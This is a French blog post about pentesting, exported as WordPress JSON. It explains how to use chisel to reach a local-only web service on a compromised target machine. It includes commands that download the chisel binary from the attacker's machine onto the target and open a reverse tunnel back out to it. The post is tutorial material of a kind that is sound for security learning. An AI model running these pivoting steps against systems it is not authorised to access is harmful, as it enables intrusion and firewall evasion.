{"id":1423,"date":"2021-03-26T13:47:25","date_gmt":"2021-03-26T12:47:25","guid":{"rendered":"https:\/\/mikadmin.fr\/blog\/?p=1423"},"modified":"2021-09-19T01:37:18","modified_gmt":"2021-09-18T23:37:18","slug":"port-forwarding-with-chisel","status":"publish","type":"post","link":"https:\/\/mikadmin.fr\/blog\/port-forwarding-with-chisel\/","title":{"rendered":"Port forwarding with Chisel"},"content":{"rendered":"<\/span> 2<\/span> min read<\/span><\/span>

Views: 2644<\/p>\n

<\/p>\n\n\n\n

Chisel<\/a> is a fast TCP\/UDP tunnel, transported over HTTP, secured via SSH.<\/em><\/p>\n\n\n\n

\"chisel\"<\/figure><\/div>\n\n\n\n
<\/div>\n\n\n\n

<\/p>\n\n\n\n

\n\n\n\n

Mise en pratique de port forwarding avec chisel<\/h2>\n\n\n\n
<\/div>\n\n\n\n

Dans notre exemple, nous allons forward<\/strong> un port local de la machine cible<\/strong> vers notre machine kali<\/a><\/strong>.<\/p>\n\n\n\n

<\/div>\n\n\n\n
<\/div>\n\n\n\n

Ici, le port qui nous int\u00e9resse est le port 6666<\/span><\/strong> \u00e9coutant en local et obtenu gr\u00e2ce \u00e0 la commande netstat<\/strong> :<\/p>\n\n\n\n

<\/div>\n\n\n\n
netstat -tulpn<\/code><\/pre>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
<\/div>\n\n\n\n
Le service en question est un service web<\/span><\/strong> :<\/p>\n\n\n\n
<\/div>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
\n\n\n\n
Nous allons donc importer le binaire chisel<\/span><\/strong> sur la machine cible<\/strong> \u00e0 l’aide des commandes suivantes : <\/p>\n\n\n\n
# sur votre machine\npython3 -m http.server 8000\n\n# sur la machine cible\nwget http:\/\/VOTREIP:8000\/chisel\nchmod +x chisel<\/code><\/pre>\n\n\n\n
<\/div>\n\n\n\n
\"chisel<\/figure><\/div>\n\n\n\n
\n\n\n\n
<\/div>\n\n\n\n
Nous avons donc r\u00e9cup\u00e9r\u00e9 chisel<\/span><\/strong> sur la machine cible<\/strong>, voici donc la partie int\u00e9ressante :<\/p>\n\n\n\n
# sur votre machine\n.\/chisel server -p 8888 -reverse<\/code><\/pre>\n\n\n\n
<\/div>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
\n\n\n\n
<\/div>\n\n\n\n
Et enfin voici la derni\u00e8re commande \u00e0 ex\u00e9cuter sur la machine cible<\/strong> :<\/p>\n\n\n\n
# sur la machine cible\n.\/chisel client VOTREIP:8888 R:8889:localhost:6666<\/code><\/pre>\n\n\n\n
<\/div>\n\n\n\n
8888<\/span><\/strong> : port local sur votre machine pour \u00e9couter la connexion<\/strong><\/p>\n\n\n\n
6666<\/span><\/strong> : port local du service de la machine cible<\/strong><\/p>\n\n\n\n
8889<\/span><\/strong> : port local sur votre machine pour r\u00e9ceptionner le service souhait\u00e9<\/strong><\/p>\n\n\n\n
\n\n\n\n
<\/div>\n\n\n\n
C’est l’heure de la v\u00e9rification nous allons donc nous rendre sur firefox<\/span><\/strong> afin de constater que nous pouvons bien acc\u00e9der \u00e0 ce fameux service<\/strong> :<\/p>\n\n\n\n
<\/div>\n\n\n\n
\"chisel\"<\/figure><\/div>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
<\/span>  2<\/span> min read<\/span><\/span>In our example, we will forward a local port from the target machine to our kali machine using chisel. Continuer la lecture →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":1463,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"categories":[4,2],"tags":[57,59,5,9,58],"class_list":["post-1423","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-infosec","category-network","tag-chisel","tag-firewall","tag-infosec","tag-linux","tag-port-forwarding"],"aioseo_notices":[],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts\/1423","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/comments?post=1423"}],"version-history":[{"count":0,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/posts\/1423\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/media\/1463"}],"wp:attachment":[{"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/media?parent=1423"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/categories?post=1423"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mikadmin.fr\/blog\/wp-json\/wp\/v2\/tags?post=1423"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}